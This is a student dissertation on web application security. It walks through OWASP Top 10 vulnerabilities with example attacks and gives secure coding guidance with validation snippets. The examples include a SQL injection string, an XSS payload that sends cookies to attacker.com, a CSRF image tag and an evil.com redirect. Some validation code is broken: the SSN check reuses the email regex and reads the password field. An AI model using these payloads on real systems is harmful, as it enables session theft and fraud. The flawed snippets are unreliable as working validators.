Vous êtes sur la page 1sur 54

BIRLA INSTITUTE OF TECHNOLOGY AND SCIENCE, PILANI FIRST SEMESTER 2010-2011

Dissertation Topic:
Web Application Security

Objectives
The objectives of the Dissertation are:

1. 2. 3. 4.

To To To To

study the concepts of Web Application Security. study different major Web application Vulnerabilities, Threats and Remediation analyze and demonstrate the Threat / Attack suggest techniques / Tools to avoid Threats to Web Application Security

Scope of Work
The Scope of Work for the Dissertation includes:

1.
2. 3.

Introduction to Web Application Security Understanding need of Web Application Security Study the major Web Application Security Threats / Vulnerabilities. 4. Demonstrate few of the vulnerabilities. 5. Study various techniques / Tools to prevent Threats/ Attacks to Web Application Security

Background
Information Security: Information Security Pertains to ensure the continual protection of data such that confidentiality, Integrity and Availability remain intact. Confidentiality: Data may only be viewed by people that are authorized to view it. Integrity: Data may only be manipulated or change by person who has authority to do so.

Availability: Data may be available to authorized users when they need it. There are numerous threats to all three type of data protection objectives. Application Security: Threats are beyond our control and will always exist. While we can not control the threats, we do have control over the vulnerabilities that exist within our applications, system and source code. The goal of Web Application Security is to identify and eliminate the vulnerabilities that exist within our applications, Systems and Source Code.

Methodology:
This research is directed at understanding the requirement of Web Application Security; along with the various threats to Web Application Security with its remediation. This research will also suggest Guidelines of Secure Coding. It would serve as reference for future research and development in the same area.

Introduction to web application security


Security is a critical part of Web applications. Web applications by definition allow users access to a central resource the Web server and through it, to others such as database servers. By understanding and implementing proper security measures, we can guard our own resources as well as provide a secure environment in which users are comfortable working with the application. Security is not a one-time event. It is insufficient to secure your code just once. A secure coding initiative must deal with all stages of a programs lifecycle. Secure web applications are only possible when a secure SDLC (Software Development Life Cycle) is used. Secure programs are secure by design, during development, and by default. There are at least 300 issues that affect the overall security of a web application. Web application security involve

1. 2. 3. 4.

Securing Securing Securing Securing

the custom code that drives a web application libraries backend systems web and application servers

Working with security requires understanding seven fundamental security concepts:

1.

Authentication confirms that users are who they say they are. For example, a user must provide a user name and password that are checked against an authority (a database, for example, or a Windows domain server). 2. Authorization is the process of granting or denying access to resources for specific users. 3. Confidentiality is preserving authorized restrictions on information access and disclosure, including means for protecting personal privacy and proprietary information. 4. Data / Message Integrity is Guarding against improper information modification or destruction, including ensuring information nonrepudiation and authenticity. 5. Accountability refers to a systems capability to determine and track the actions and behaviors of a single individual within a system, and to identify that particular individual 6. Availability Ensuring timely and reliable access to and use of information. 7. Non-Repudiation is Undeniability of a transaction

Need of Web Application Security


For malicious attackers attempting to compromise corporate IT infrastructures, the network is no longer the path of least resistance. That infamous title now belongs to applications, especially Web applications, where a simple configuration error can give an attacker direct access into a corporate database. Web applications are increasingly the preferred targets of cyber-criminals looking to profit from identity theft, fraud, corporate espionage, and other illegal activities. The impact of an attack can be significant, and include costly and embarrassing service disruptions, downtime, lost productivity, stolen data, regulatory fines, angry users and irate customers. Beyond preserving the corporate brand, federal and state legislation and industry regulations are now requiring web applications to be better protected.

1.

Web applications opened (literally) a can of worms o HTTP is a vulnerable, stateless protocol unsuitable for persistent state applications o A web server is by its own nature a public repository, with access control thrown in as an afterthought o A web app offers access to crown jewel data, over an unauthenticated and stateless protocol, to the world 2. @stake estimates that 70% of the web apps they reviewed showed relevant security defects o Relevant cost in rebuilding and redesigning 3. A web application is so exposed that any bug may have an immediate reflex against customers. Web Application Security provides a way to limit access to your Web site.

Top 10 Vulnerabilities to Web Applications

Web application security is often viewed incorrectly as a set of server and host-based security issues, rather than code-level and configuration-based security vulnerabilities. Although servers and hosts may still be the cause for exploitations, it is critical that security professionals recognize the major impact of poorly written web applications as well as how their applications and servers are configured separately and in combination. The Internet is increasingly responsible for handling and storing information and files of a sensitive nature requiring security and protection. Keeping hackers at bay and assuring the privacy of private and proprietary documents is paramount. Below are the top ten security vulnerabilities and how Security Programmers mediate these to prevent exploitation. Dont stop at 10. There are hundreds of issues that could affect the overall security of a web application. This is essential reading for anyone developing web applications today. This Top 10 will continue to change. Even without changing a single line of your applications code, you may already be vulnerable to something nobody ever thought of before. Security vulnerabilities can be quite complex and buried in mountains of code. In virtually all cases, the most cost-effective approach for finding and eliminating these weaknesses is human experts armed with good tools. Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention. Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is caused may range from nothing, all the way through putting you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine the overall risk.

Issue 1: Code Injection & SQL Injection Vulnerabilities


It is very much a programming-level attack technique. Referring to the email address and newsletter signup example above, an incorrectly programmed handler of submitted data may allow unexpected data to exploit the web application or server. An SQL Injection is a type of Code Injection. A Code Injection sends programmers code to the server inside a variable. If the web application (or IDS) does not identify the variables contents as invalid, the code that is sent may be executed by the web application. An SQL Injection is a specific type of Code Injection in which the web applications database is the target of the attack. Code Injections may come in many flavors that include anything your programming language can perform, given permissions restrictions on the server. In the newsletter signup example, the expected value is a regular email address. However, if that variable contains a section of code that is correctly written to insert itself into the server-side web application code, the server may execute the targeted script including the attackers code. Given the range of possibilities defined by the language itself, the worst case scenario is that the code creates a situation allowing the upload of a root kit to the server and the whole server is owned by the attacker. SQL Injections are the same as a Code Injection except that the target of the attack is the database. Using Sequel Querying Language (SQL), the injected code may connect to the database to delete all contents, feed the entire database to the remote hacker, and insert whatever records the hacker defines, or modify existing records. Using an eCommerce

system as another example, an attacker may wish to retrieve credit card profiles or create records causing the business to deliver products or services without being paid. Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attackers hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

Example Attack Scenario The application uses untrusted data in the construction of the following vulnerable SQL call: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'"; The attacker modifies the id parameter in their browser to send: ' or '1'='1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customers. http://example.com/app/accountView?id=' or '1'='1 In the worst case, the attacker uses this weakness to invoke special stored procedures in the database that enable a complete takeover of the database and possibly even the server hosting the database.

Issue 2: Cross-Site Scripting (XSS) Vulnerabilities


Cross-Site Scripting is an attack method that introduces remote web components into the host site, or transports the site user to a remote web site. The goal of the attacker is to make the user execute remote code or modules that reveal user authentication, sensitive information, or create access to the host site in some form. Methods of attack include inserting XSS code into the host database, using methods such as Code Injection or SQL Injection. The attacker may modify the web file code on the host server to include Active-X controls, redirection methods, iFramed content, or other attack types. The results of these XSS attacks range from revealing authentication credentials to feeding sensitive information to a remote user or host, propagating the attack to other members or administrators of the site, and creating Man-in-the-Middle attacks such as Phishing attacks. Some attacks may become visible immediately with or without repercussions, while other may reside actively or latent on the host server feeding data to remote hackers regularly or waiting for a trigger to launch a more complex or timed attack. XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victims browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Example Attack Scenario The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXTvalue='" + request.getParameter("CC") + "'>"; The attacker modifies the CC parameter in their browser to: '><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. This causes the victims session ID to be sent to the attackers website, allowing the attacker to hijack the users current session. Note that attackers can also use XSS to defeat any CSRF defense the application might employ.

Issue 3: Broken or Lacking Authentication and Session Management


Restricting access to a web application, and the data it is supposed to protect, requires protecting the access credentials and authentication schemes. A common attack to gain access rights of other users is called Sessi0n Hijacking. Sessions are closely associated with Cookies, and together these storeUser Names, Passwords, Access Keys, and other vital information used to allow or deny access to sensitive information. Cookies are stored in user browsers where sessions are stored on the hosting server. Secure techniques allow the storage of sensitive authentication tokens in the session only, not the cookie, and use the cookie only to store the Session ID that connect the cookie (browser) to the correct server-side session. Secure server configurations are required to assure randomized session ID values that are not easily predicted and to assure storage of sessions is secure. Sessions must track a fingerprint of the user, including the IP Address, browser type and language, platform, and other trackable data types for fingerprinting. Tracking the time the session started and restricting its duration of use is another useful security technique. The concern is that a hacker may copy the session ID from the transmission between the user and the server, then integrate that session into the traffic on another machine and access the users account and web application functions. Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users identities.

Example Attack Scenarios Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL: http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV? dest=Hawaii An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card. Scenario #2: Applications timeouts arent set properly. User uses a public computer to access site. Instead of selecting logout the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.

Scenario #3: Insider or external attacker gains access to the systems password database. User passwords are not encrypted, exposing every users password to the attacker.

Issue 4: Insecure Direct Object References


A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

Example Attack Scenario The application uses unverified data in a SQL call that is accessing account information: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatementpstmt=connection.prepareStatement(query , ); pstmt.setString( 1, request.getparameter("acct")); ResultSetresults = pstmt.executeQuery( ); The attacker simply modifies the acct parameter in their browser to send whatever account number they want. If not verified, the attacker can access any users account, instead of only the intended customers account. http://example.com/app/accountInfo?acct=notmyacct

Issue 5 Cross-Site Request Forgery (CSRF)


A CSRF attack forces a logged-on victims browser to send a forged HTTP request, including the victims session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victims browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

Example Attack Scenario The application allows a user to submit a state changing request that does not include anything secret. Like so: http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 So, the attacker constructs a request that will transfer money from the victims account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attackers control.

<imgsrc="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#width="0" height="0" /> If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the users session info, inadvertently authorizing the request.

Issue 6: Lacking or Poor Configuration Management


A poorly or incorrectly configured server and server modules will potentially create multiple security vulnerabilities. Network configuration is also important for securing the server and its environment. A secure web application requires a strong server configuration. Many servers and software packages are distributed with an insecure configuration out of the box. A default server may have many features turned on for convenience, including Open STMP Relay, Anonymous FTP access, and other insecure features which may be desired after being reconfigured. Some default systems may have software packages that are pre-installed and should be removed. Operating a server with a default software setup and configuration may cause multiple security vulnerabilities that may be exploited by hackers. Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.

Example Attack Scenarios Scenario #1: Your application relies on a powerful framework like Struts or spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws but you dont update your libraries. Until you do, attackers can easily find and exploit these flaws in your app. Scenario #2: The app server admin console is automatically installed and not removed. Default accounts arent changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over. Scenario #3: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverses to get all your custom code. She then finds a serious access control flaw in your application. Scenario #4: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

Issue 7: Insecure Cryptographic Storage


Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

Example Attack Scenarios Scenario #1: An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing a SQL injection flaw to retrieve all the credit cards in cleartext. The system should have been configured to allow only back end applications to decrypt them, not the front end web application. Scenario #2: A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center. Scenario #3: The password database uses unsalted hashes to store everyones passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years.

Issue 8: Failure to Restrict URL Access


Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway

Example Attack Scenario The attackers simply force browses to target URLs. Consider the following URLs which are both supposed to require authentication. Admin rights are also required for access to the admin_getappInfo page. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo If the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the admin_getappInfopage, this is a flaw, and may lead the attacker to more improperly protected admin pages. Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.

Issue 9: Insufficient Transport Layer Protection


Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.

Example Attack Scenarios Scenario #1: A site simply doesnt use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network), and observes an authenticated victims session cookie. Attacker then replays this cookie and takes over the users session. Scenario #2: A site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against the sites customers lures them to a look-alike site which doesnt have a valid certificate, which generates similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data. Scenario #3: A site simply uses standard ODBC/JDBC for the database connection, not realizing all traffic is in the clear.

Issue 10: Unvalidated Redirects and Forwards


Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

Example Attack Scenarios Scenario #1: The application has a page called redirect.jsp which takes a single parameter named url. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware. http://www.example.com/redirect.jsp?url=evil.com Scenario #2:The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the applications access control check and then forward the attacker to an administrative function that she would not normally be able to access. http://www.example.com/boring.jsp? fwd=admin.jsp

Various types of Threats to Web Applications


Security threats to web sites and web applications (webapps) come in many forms. Data centers and other assets used for hosting web sites and their associated systems need to be protected from all types of threat. Threats should be identified using application threat modeling and then evaluated with a vulnerability assessment. Vulnerabilities can be

removed or reduced and countermeasures put in place to mitigate the effects of an incident should the threat be realized. The main types of threats to web systems are listed below:

1.

Physical

Physical threats include loss or damage to equipment through fire, smoke, water & other fire suppressants, dust, theft and physical impact. Physical impact may be due to collision or the result of malicious or accidental damage by people. Power loss will affect the ability for servers and network equipment to operate depending upon the type of back-up power available and how robust it is.

2.

Human error

Errors caused by people include operator/user error such as accidental deletion of data or destruction of software programs, configurations or hardware. The other major error caused by people is leaving weaknesses (vulnerabilities) in software. This can include escalation of privileges, authentication which can be bypassed, incorrect implementation of encryption, failure to validate input and output data, weak session management, failure to handle errors correctly, etc. Good programming practices can reduce the vulnerabilities which human error can exploit.

3.

Malfunction

Both equipment and software malfunction threats can impact upon the operations of a website or web application. All assets required for the operation of the web system must be identified to be able to evaluate the threats. Malfunction of software is usually due to poor development practices where security has not been built into the software development life cycle.

4.

Malware

Malware, or malicious software, comes in many guises. Web servers are popular targets to aid distribution of such code and sites which have vulnerabilities that allow this are popular targets.

5.

Spoofing

Spoofing where a computer assumes the identity of another and masquerading where a user pretends to be another, usually with higher privileges, can be used to attack web systems to poison data, deny service or damage systems.

6.

Scanning

Scanning of web systems are usually part of network or application fingerprinting prior to an attack, but also include brute force and dictionary attacks on username, passwords and encryption keys.

7.

Eavesdropping

Monitoring of data (on the network, or on user's screens) may be used to uncover passwords or other sensitive data.

8.

Scavenging

Examining 'found' data from accessible sources such as the network, search engines and waste. The actual target information could be found, but more often scavenging is used as a way to select other threats for vulnerabilities that are known to exist for the web system (e.g. operating system, firewall type, server software, application software).

9.

Spamming

Overloading a system through excessive traffic can lead to denial of service for other users or system failure.

10.

Out of band

Network attack techniques such as tunneling to access low level system functions can mean the target such as a router or server can be taken over. Once an attacker has control, this can be used to attack other assets required for the continued operation of a web site.

Best Practices for Secure Coding


Input Validation In web applications, external input always comes from an untrusted source. This is because a web application cannot impose restrictions on a client web browser used by a malicious user. Once it hands the data off to the client, it has no control on what is returned. This stateless operation is inherent to the HTTP protocol. Input validation refers to the process of validating all of the input to an application before using or accepting it. It is critical to application security, and is the source of most application security vulnerabilities. Related Attacks Cross Site Scripting (XSS), SQL Injection, Operating System (OS) Injection, Command Injection, Evaluation (Eval) Injection, XML Injection, Document Object Model (DOM) injection. General Rules 1. Validate universally and do not rely on anything that was sent by the client

Validation must be applied to all forms of input originating from outside of the "trust boundary" regardless of its source. Validate all data that comes from the user. This includes: form data, URL parameters, cookies and HTTP headers. Keep in mind that fields such as dropdown lists, combo box options, hidden fields, radio buttons and checkboxes can be tampered with by malicious users.

2.

Validate all input on the server side

All input must be validated on the server side. Do not trust any client side validations since they can easily be bypassed. Many hacking and testing tools such as HTTP Proxies, browser extensions, and commercial products allow "attackers" to manipulate HTTP requests before they are sent to the server. Although the input may have been validated on the client side, these tools allow manipulation of input that may completely bypass all client-side validation. 3. Always validate first

All request handling should begin by validating all input parameters. Input validation is ineffective if it is not the first operation performed. 4. Validate all external data/connections

Information coming from third party databases (such as HR databases) and/or external servers (such as Queue or email servers) are also out of application control therefore should be validated as well 5. Check for data against range and length limitations

Your validation routine should also confirm that a users input meets the desired range and length of a variable or field type. For example, if you are expected the user to enter a positive number of only 3 digits, your validation function should perform that check. For example, if the input is for a Social Security Number, the validation would only accept a maximum of 11 characters that consist of only numbers and (optionally) the dash character "-". 6. Check for the presence of null-bytes

Non-binary input should never contain null-bytes. Many subsystems have problems handling such input. For example, injecting a null byte in a file path might cause the file system to deliver the wrong file or directory information. Remove any null-byte in input. In Java, the null bit is represented by "\u0000". 7. Be pessimistic. Use white-listing, not black-listing

Define a tightly contained set of known "good values" and reject any data that does not match. 8. Perform HTML Entity Encoding

Before displaying any input data, use HTML Entity encoding to convert potentially dangerous symbols to their harmless HTML equivalents. If you are creating/using a validation engine, many languages have a native encoding function. 9. Follow this order when validating input o o Encode and normalize all input data. Check data length.

o o o

Check data type. Check data range, syntax and sanity. Whitelist.

Language Specific-Rules i. Java

Apache Struts, WebWork, Spring MVC, Java Server Faces,Jakarata Commons Validator Framework and JBOSS Seam frameworks have native input validation capabilities. Most of them can be expanded to include application specific validation rules. It is preferred that development teams use the built-in capabilities at a minimum. Java Code Snippets o Code for Validating US Zip Code

public boolean zipcode_test() boolean testresult = false;

Pattern p = Pattern.compile ("^\d{5}(-\d{4})?$"); Matcher m = p.matcher(user_zipcode.getText()); testresult = m.matches(); return testresult; } o Code For Validating Password

public boolean password_test() boolean testresult = false;

Pattern p = Pattern.compile ("^[a-zA-Z]\w{3,14}$"); Matcher m = p.matcher(user_password.getText());

testresult = m.matches(); return testresult; } o Code For Validating E-mail Address

public boolean email_test() boolean testresult = false;

Pattern p = Pattern.compile ("^[\w\.-]+@[\w\.-]+\.[a-zA-Z]+ $"); Matcher m = p.matcher(user_password.getText()); testresult = m.matches(); return testresult; } o Code For Validating Social Security Number

public boolean ssn_test() boolean testresult = false;

Pattern p = Pattern.compile ("^[\w\.-]+@[\w\.-]+\.[a-zA-Z]+ $"); Matcher m = p.matcher(user_password.getText()); testresult = m.matches(); return testresult; } ii. PHP

Use the htmlspecialchars() function for normal HTML data (non-URLs) and the urlencode() function for URLs.

PHP Code Snippets o Code For Validating US Zip Code

public boolean zipcode_test() { if (preg_match('/^\d{5}(-\d{4})?$/',$_GET['zip'])) { $zip = $_GET['zip']; } else { die('Invalid ZIP Code format.'); } } o Code For Validating Password

if (preg_match('/^[a-zA-Z]\w{3,14}$/',$_GET['password'])) {

$password = $_GET['password']; } else { die('Invalid Password.'); } o Code For Validating E-Mail Address

if (preg_match('/^[\w\.-]+@[\w\.-]+\.[a-zA-Z]+$/', $_GET['email'])) { $email = $_GET['email']; } else { die('Invalid E-Mail Address.'); } o Code For Validating Social Security Number

if (preg_match('/^\d{3}-\d{2}-\d{4}$/',$_GET['ssn'])) {

$ssn = $_GET['ssn']; } else { die('Invalid SSN.'); }

iii.

ASP

Use the Server.HTMLEncode() function for normal HTML data (non-URLs) and the Server.URLEncode() function for URLs; the character set can also be automatically set using "Response.charset = "ISO-8859-1"". ASP Code Snippets o Code for Validating a US or Canadian Postal Code

Function ValidatePostal(Expression) Dim objRegExp Set objRegExp = New RegExp objRegExp.Pattern = "^(\d{5}(( |-)\d{4})?)|" & _

"([A-Za-z]\d[A-Za-z]( |-)\d[A-Za-z]\d)$" ValidatePostal = objRegExp.Test(Expression) End Function o Code for Validating Password

Function ValidatePassword(strPassword) Dim re Set re = new RegExp

re.IgnoreCase = false re.global = false re.Pattern = "^[a-zA-Z]\w{3,14}$"

ValidatePassword = re.Test(strPassword) End Function o Code for Validating E-mail Address

Function ValidateEmail(Expression) Dim objRegExp Set objRegExp = New RegExp objRegExp.Pattern = "^[\w\.-]+@[\w\.-]+\.[a-zA-Z]+$" ValidateEmail = objRegExp.Test(Expression) End Function o Code for Validating Social Security Number

Function ValidateSSN(Expression) Dim objRegExp Set objRegExp = New RegExp objRegExp.Pattern = "^\d{3}-\d{2}-\d{4}$" ValidateSSN = objRegExp.Test(Expression) End Function

iv.

ASP.NET

If your application uses the Viewstate variable, enableViewStateMac must be set to true and viewStateEncryptionMode must be set to always. ASP.NET automatically prevents data submissions with the '<', '>', and other characters by default (this behavior is controlled by the 'ValidateRequest' page attribute); however, this automatic check should not be considered robust nor comprehensive"in fact, there have been public reports of how to bypass this automatic sanity check; therefore ASP.NET code needs to still make use of Server.HTMLEncode () and similar functions to encode the user data. Application developers can also use "XSSDetect" tool to detect non-persistent cross site scripting vulnerabilities in ASP.NET web-applications.

Recommendations 1. Centralize and automate your approach

Instead of writing separate functions for each page or section, use a common function library that can be invoked from anywhere in the application. 2. Use regular expressions for checking input

When dealing with more complex data, use a library of regular expressions to validate input. Remember to use ^ and $ delimiters to match the whole string. For example: (^\d{5}$)|(^\d{5}-\d{4}$) or a 9-digit Zip code validation. 3. Set a codepage

Where possible, use configuration files or tags to set a codepage which will limit the type of characters that can be sent in a request. This will stop attackers from tricking the application with representations that appear to be special characters. You can use ISO-8859-1 character encoding to avoid Unicode issues. For example: <meta http-equiv="Content-Type" content="text/html; charset=Windows-1255"> References 1. Common Objects o OWASP PHP Filters project (Input Validation Tool): http://www.owasp.org/index.php/PHP_Filters o OWASP J2EE Stinger project (Input Validation Tool): http://www.owasp.org/index.php/OWASP_Stinger_Version_3 Examples o OWASP HTML Entity Encoding for Java: http://www.owasp.org/index.php/How_to_perform_HTML_entity_encoding_in_J ava o OWASP Reviewing Code for Data Validation: Includes examples of good data validation for PHP, Java, and ASP.NET. This resource will help you build a validation tool or leverage existing languagespecific resources. http://www.owasp.org/index.php/Reviewing_Code_for_Data_Validation o OWASP Validation Regex Repository: http://www.owasp.org/index.php/OWASP_Validation_Regex_Repository o Regular Expression Library (.NET): http://regexlib.com/CheatSheet.aspx o Microsoft Code Page Identifiers: http://msdn2.microsoft.com/en-us/library/ms776446.aspx o How to Prevent XSS in ASP.NET: http://msdn2.microsoft.com/en-us/library/ms998274.aspx o How to Prevent SQL Injection in ASP.NET: http://msdn2.microsoft.com/en-us/library/ms998271.aspx o How to Prevent Injection Attacks in ASP.NET: http://msdn2.microsoft.com/en-us/library/bb355989.aspx

2.

3.

o How to Use Regular Expressions to Constrain Input in ASP.NET: http://msdn2.microsoft.com/en-us/library/ms998267.aspx o User Input Validation in ASP.NET: http://msdn2.microsoft.com/en-us/library/ms972961.aspx Training Resources o OWASP Data Validation: http://www.owasp.org/index.php/Data_Validation Microsoft best practices for Input and data validation (ASP.NET): How How How How To: To: To: To: Prevent Cross-Site Scripting in ASP.NET Protect From Injection Attacks in ASP.NET Protect From SQL Injection in ASP.NET Use Regular Expressions to Constrain Input in ASP.NET

Database Handling Database connections and queries are a vital component of web applications, but they are often the target and source of vulnerabilities which open the door for attackers. Many applications have built-in features that can make these common functions more secure, but the following rules and recommendations should be considered when interacting with databases. Related Attacks SQL Injection, Denial of Service (DOS) General Rules 1. Least-privilege connections

Never connect to the database from a web service or web page as a high-level administrator account. Always connect under the principle of "least-privilege." 2. Secure connection credentials

Store all database connection credentials in a secure manner. Always restrict read permissions to files containing usernames, passwords, or other login credentials. Never store these types of files in the web document root. Never hardcode connection credentials in the source code. One alternative to a configuration file is to read the connection string in from the Windows registry. 3. Use parameterized queries

When preparing an SQL statement that includes data from the user, always use parameterized queries, not string concatenation. This improves security by separating SQL logic from user-supplied data while also improving application performance.

4.

Escape meta-characters for SQL statements

If parameterized queries cannot be used, your validation should escape all metacharacters before using input data in a SQL statement. Consider the case where you need to add a user named "O"Connor" to the User table. In this situation, your validation function will need to allow the single quote character. By later adding another single quote for every occurrence, the single quote will be escaped and the database will not be affected. 5. Close the connection

Always close database connections when they are no longer needed. Close the connection even on failures. The use of Try/Catch or Try/Catch/Finally blocks is desirable. Language-specific Rules 1. Java

Use the java.sql.PreparedStatement interface (or equivalent), and pass user data only to the set*() functions (setLong(), setString(), etc.); if prepared SQL statements are not possible, then general String class character replacement functions can be used to remove or escape malicious SQL characters. For secure execution of the stored procedures in your application use a safe interface such as JDBC"s java.sql.CallableStatement. CallableStatement is a sub-type of PreparedStatement and implements the parameterized query mechanism. You can pass the user data only to the set*() functions (setLong(), setString (), etc.) for secure execution of the stored procedure. 2. PHP

Use the mysql_escape_string() function (specific to MySQL databases) or addslashes() function for data strings, and general number casting (with code such as "int_var = (int) user_var;") for numeric data; PHP also supports auto-quoting of incoming user variables by setting the 'magic_quotes_gpc' global configuration parameter to 'true'. 3. ASP

Use the ADODB.Command object set to the 'adCmdText' CommandType, and then pass user data only to the CreateParameter() method; if prepared SQL statements are not possible, then the Replace() function should be used to remove or escape malicious SQL characters in data strings, and IsNum() and CLng() functions should be used to convert user data to numeric values.

4.

ASP.NET

Use the System.Data.ODBC namespace or similar, and then use the ObdcCommand() function for the prepared statement query and add the user data parameters via the Parameters.Add() method. Recommendations 1. Use SQL stored procedures of custom views

When built securely, stored procedures provide an additional level of security for your application. The application should be able to execute the stored procedures using a safe interface such as JDBC"s CallableStatement or ADO"s Command Object. You can visit the following resources to know more about JDBC"s CallableStatement and ADO"s Command Object: a. b. 2. Callable Statement: JDBC Guide Getting Started ADO"s Command Object: MSDN

Restrict access with database permissions

Database permissions should be used to reduce the impact of SQL injection attacks and decrease the possibility of a successful secondary attack. This includes restricting columns and tables based on required access, or even disabling access entirely when stored procedures are used for all data manipulation. References 1. 2. Common Objects o Eliminate SQL Injection Attacks Painlessly with LINQ (.NET) : http://www.devx.com/dotnet/Article/34653/1954 Examples o Introduction to SQL Injection Attacks for Oracle Developers: http://www.integrigy.com/securityresources/whitepapers/Integrigy_Oracle_SQL_Injection_Attacks.pdf o Parameterized Queries: See Appendix Section 2 o Stored Procedures: See Appendix Section 2 3. Training Resources o SPI Dynamics SQL Injection Whitepaper: http://www.hackerz.ir/e-books/SQL%20Injection%20White%20Paper.pdf o Preventing SQL Injection " Microsoft"s Guidelines (.NET): http://msdn2.microsoft.com/en-us/library/ms998271.aspx DB Scanning Remediation Guide: DB SCanning Remediation Guide link Authentication Authentication is the process of verifying the identity of a "user"and granting access to your application if appropriate. In this definition, a "user" can be a person, a computer, or another computer program. Authorization, on the other hand, grants access to a previously authenticated user to a specific application resource (i.e. Files, pages, functions, etc). This section of the document will discuss best practices for authentication. Authorization will be handled in the next section. Related Attacks

Session Hijacking, Privilege Escalation, Eavesdropper attacks,Man-in-the-middle attacks General Rules 1. Utilize site-wide authentication on every page of an application

Some form of site-wide authentication should be used for every page in an application. This may be performed via an external authenticating proxy component, through platform features, or via the language itself. a. ASP provides no built-in methods for site-wide access control; security can be implemented using an ISAPI filter, or by an include file in every server page that checks the validation state and exits on failure. b. ASP.NET provides built in site-wide access control that can be set in the web.config file. c. Java Authentication and Authorization Service (JAAS) provides core authentication components; Struts provides application-wide access and granular access control on actions. Filters can be used to implement sitewide access control in containers supporting Java Servlets 2.3 and higher. d. PHP provides no built-in method of site-wide access control. Protection can be implemented by applying an include file to every server page that checks the validation state and exits on a failure; this can be done manually or automatically via the "auto_prepend_file" directive in the php.ini file. 2. Develop and document a comprehensive authentication policy

Develop and document a comprehensive authentication policy which dictates the use of mechanisms to validate user identity per system and/or application. All authentication techniques used should be governed by policy (e.g., password policy, remote access policy, certificate policy). 3. Never use the "Referer" header for authentication

The "Referer" header leaks information to remote sites such as third party servers or proxies. An attacker could potentially use an HTTP proxy to intercept the "Referer" header, modify other request content, and then relay the submission on behalf of the authenticated user. 4. Always use redirection during login

Separate the authentication page from the next-page-after-login, and use redirection during login to reach the next page. It is possible to steal passwords if such redirection is not used. 5. Use a salted hash technique

Use a salted hash technique for transmitting passwords, even when youre using SSL. This ensures two things: one, youre not vulnerable to a replay attack and two, passwords cannot be stolen from the submit cache of the browser. 6. Strong Password policy enforcement

Strong password policies and management systems in place for all application environments. 7. Log all authentication failures

Log all authentication failures in detail, including the IP address and the exact HTTP request that triggered it. This aids forensic analysis in case your application is compromised. 8. Password should be sent in encrypted format

The passwords must not be sent across the network in plaintext form, as a malicious user capable of monitoring the network traffic would then be able to detect the password and use it to pose as the owner of the password. 9. Password should be random, Hard to guess

